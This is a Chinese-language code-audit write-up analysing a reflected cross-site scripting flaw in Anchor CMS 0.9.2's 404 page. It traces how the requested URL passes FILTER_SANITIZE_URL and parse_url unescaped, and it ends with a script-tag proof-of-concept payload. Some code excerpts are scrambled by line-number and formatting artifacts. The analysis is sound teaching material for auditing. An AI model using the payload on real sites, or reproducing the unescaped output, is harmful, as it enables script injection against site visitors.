Anchor-CMS-0-9-2-XSS分析
对PHP-Audit-Labs Day2 示例的简单分析
漏洞位于themes/default/404.php
1
2
3
4
5
6
7
8
9'header'); theme_include(
<section class="content wrap">
<h1>Page not found</h1>
<p>Unfortunately, the page <code>/echo current_url(); </code> could not be found. Your best bet is either to try the <a href="<?php echo base_url(); ?>">homepage</a>, try <a href="#search">searching</a>, or go and cry in a corner (although I don’t recommend the latter).</p>
</section>
'footer'); was not found theme_include(Anchor 使用了路由,如果访问的url不存在则会执行404.php
比如访问/admin/xxx,会返回404
The page admin/xxx was not found.
Try the homepage其中xxx用户可控,处理不好就可能造成xss
可以看到404.php中调用了base_url()获取用户访问的url
1
2
3function current_url() {
return Uri::current();
}跟进Uri类的current静态方法
1
2
3
4
5public static function current() {
if(is_null(static::$current)) static::$current = static::detect();
return static::$current;
}跟进detect静态方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32/**
* Try and detect the current uri
*
* @return string
*/
public static function detect() {
// create a server object from global
$server = new Server($_SERVER);
$try = array('REQUEST_URI', 'PATH_INFO', 'ORIG_PATH_INFO');
foreach($try as $method) {
// make sure the server var exists and is not empty
if($server->has($method) and $uri = $server->get($method)) {
// apply a string filter and make sure we still have somthing left
if($uri = filter_var($uri, FILTER_SANITIZE_URL)) {
// make sure the uri is not malformed and return the pathname
if($uri = parse_url($uri, PHP_URL_PATH)) {
return static::format($uri, $server);
}
// woah jackie, we found a bad'n
throw new ErrorException('Malformed URI');
}
}
}
throw new OverflowException('Uri was not detected. Make sure the REQUEST_URI is set.');
}先通过$server->get($method) 依次获得 $_SERVER的’REQUEST_URI’ ,’PATH_INFO’和’ORIG_PATH_INFO’键值,存储在$uri中
如果filter_var($uri, FILTER_SANITIZE_URL) 和 parse_url($uri, PHP_URL_PATH) 都为真的话就将其返回,否则抛出一个错误
其中FILTER_SANITIZE_URL过滤器的作用如下
1
2FILTER_SANITIZE_URL 过滤器删除字符串中所有非法的 URL 字符。
该过滤器允许所有的字符、数字以及 $-_.+!*'(),{}|\\^~[]`"><#%;/?:@&=。该过滤器不会过滤<>/,直接可以插入
1
<scirpt></scirpt>
标签
只有严重不合格的url,parse_url才会返回false
1
2
3
4
5php > print_r(parse_url('/admin/<script>alert(1)</script>'));
Array
(
[path] => /admin/<script>alert(1)</script>
)因此最后的payload
1
/admin/<script>alert(1)</script>